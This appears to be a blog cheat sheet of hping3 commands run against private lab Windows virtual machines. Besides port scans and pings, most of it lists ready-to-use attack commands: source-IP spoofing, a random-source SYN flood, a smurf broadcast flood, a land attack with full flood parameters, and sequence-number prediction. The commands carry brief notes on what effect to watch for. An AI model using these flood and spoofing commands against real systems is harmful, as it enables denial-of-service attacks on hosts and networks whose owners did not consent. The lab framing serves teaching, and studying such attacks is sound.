Cheat Sheet : HPING


HPING 

Although Hping 3 is no longer being developed, it has been forked over to nmap as nping, here are some commands and examples using hping 3.
* TCP scan: hping 3 -V  --scan 1-100  -S  10.10.10.12  to scan the first 100 ports of the windows 2012 machine. (the  -S  is setting the syn flag).

* Lets spoof an address to port 80 on the server 2008 machine. 

Hping3  -I eth5  -a 1.2.3.4  -p 80  -S   -c 10  10.10.10.8   (-a for spoof)

* Now lets do a syn flood with random source addresses: 

Hping3  --flood  --rand-source   -p 80  -S 10.10.10.8

* Lets try sequence number prediction (will probably fail because windows implements alsr):

Hping3  10.10.10.8  --seqnum  -p 139  -S  -i u1  -I eth5

* Lets do an icmp ping (remember hping default is tcp. We will have to choose number 1 as that is icmp mode):

Hping3  -1  10.10.10.8

* Lets do an ACK scan Hping3  -A  10.10.10.8  -p 80, this should send an RST if open unless its windows, which this is so you will always get an rst


* Lets do an xmas attack :

Hping3  -F  -P  -U  10.10.10.8  -p 80 

* Smurf attack (doesn’t work with windows, because windows systems don’t respond to broadcast pings) run with wireshark to see the flooded traffic

Hping3  -1  --flood  -a  10.10.10.8  10.10.10.255

* Now lets do a Land attack,  bring up the server 2008 vm and bring up task manager and show the performance tab with the cpu:   

Hping3  -V  -c 1000000  -d 120  -S  -w 64  -p 445  -s 445  --flood  --rand-source  10.10.10.8     this should send  -d (data size)  120  with a count of 1000000  syn packets, with 445 as the destination and the source.  If you check the server 2008 machine you should see the cpu moving up quickly

Comments

Popular posts from this blog

Cheat Sheet : Wireshark

Cheat Sheet : Google Hacking

Cheat Sheet : TCP Dump